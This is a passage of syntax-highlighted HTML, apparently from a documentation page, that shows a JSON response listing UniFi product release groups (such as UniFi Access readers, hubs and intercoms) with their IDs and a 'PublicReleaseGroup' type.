style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"3a290705-bc5c-4138-9ed2-3400fe00976f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi 5G Max"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"534c9c1b-35d2-4592-a7ee-b74291032be6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"685a79da-5fdd-44b0-a479-268d8ea1d619"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"5b05a2b8-7b17-445f-8154-1de442c09708"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Door Hub Mini"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"7bde1e06-b418-4f23-ae37-69c7a6377d90"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Elevator Hub"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"bd8e3ed7-b7a8-43ae-9c7a-9d1c680788d0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G2 Reader"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"6848ae7f-a8a5-451c-9013-d4ef8a861508"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G2 Reader Pro"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"d86d0e82-b383-4707-9da5-effce2b8904c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G3 Intercom"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e33553f0-3732-46dc-9f25-fe96261566e4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G3 Reader"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ba6b1cbc-ad9e-4efe-9b85-66c8511af3be"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G3 Reader Flex"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"cb85422a-d897-48e9-93f6-4b7c8cf0d9f6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access G3 Reader Pro"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ae20f941-f616-4df1-aa4f-91dd9aa3d793"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Gate Hub"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e047d85b-e99f-4ae8-9cf9-849b6ce28f44"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Hub"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e7073d3d-5258-46f8-9529-29774831a73d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Intercom"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"51bbc7eb-f13e-4323-bbc2-6ef5d3ae291f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Intercom Viewer"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"6b4d10ad-c9c3-4705-a3a7-d1400a485550"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9fc3b2fa-9e73-449a-924f-470e79884470"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Point"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e4b31bf2-f1e3-49e7-a459-5387925f9273"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Reader Lite"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"419a6cfc-d99b-4568-b9c6-f2bcfd5fe280"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Reader Pro"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"901f937e-8a03-488b-ae41-43e7f662c21e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Talk Phones"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"a69890e6-a492-49f5-a6c9-ff201837a60e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Access Ultra"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"46c20399-1088-409c-98a2-055690a880d7"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"8c0971f3-13c6-4c2b-8f27-9f05dac846f3"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Building Bridge"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"875850dd-f667-49e3-847d-b3811b6fefef"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Building Bridge XG"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f6d29416-9e19-4142-82e2-b93ae76628ff"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Cable Internet"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"258e1c44-1b44-49c1-bf06-cd68328d3b2d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"7bcbca2f-65d8-4a41-816e-d3d20a302553"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token 